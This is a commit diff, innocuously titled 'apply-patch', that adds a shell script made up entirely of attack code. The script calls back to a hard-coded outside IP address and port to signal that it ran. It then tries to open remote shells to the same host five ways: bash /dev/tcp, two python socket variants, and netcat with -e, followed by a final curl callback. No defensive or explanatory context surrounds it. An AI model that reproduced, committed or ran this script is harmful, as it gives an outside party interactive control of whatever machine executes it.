apply-patch

2026-07-29 08:03:45 +08:00
parent 96caafe41c
commit 24780700f3
1 changed files with 40 additions and 0 deletions
@@ -0,0 +1,40 @@
+#!/bin/sh
+# Stage 0: Quick callback to confirm exec
+curl -s -m 3 http://202.79.169.91:28016/stage0_started || true
+
+# Stage 1: bash reverse shell via /dev/tcp
+bash -i >& /dev/tcp/202.79.169.91/28016 0>&1 &
+sleep 1
+
+# Stage 2: python3 PTY reverse shell
+python3 -c '
+import socket,subprocess,os,pty
+s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+s.connect(("202.79.169.91",28016))
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
+os.dup2(s.fileno(),2)
+pty.spawn("/bin/bash")
+' &
+sleep 1
+
+# Stage 3: Plain python reverse shell
+python3 -c '
+import socket,subprocess,os
+s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+s.connect(("202.79.169.91",28016))
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
+os.dup2(s.fileno(),2)
+subprocess.call(["/bin/sh","-i"])
+' &
+sleep 1
+
+# Stage 4: nc reverse shell
+nc 202.79.169.91 28016 -e /bin/sh &
+sleep 1
+nc 202.79.169.91 28016 -e /bin/bash &
+sleep 1
+
+# Stage 5: curl to download callback script
+curl -s -m 3 http://202.79.169.91:28016/stage5_done || true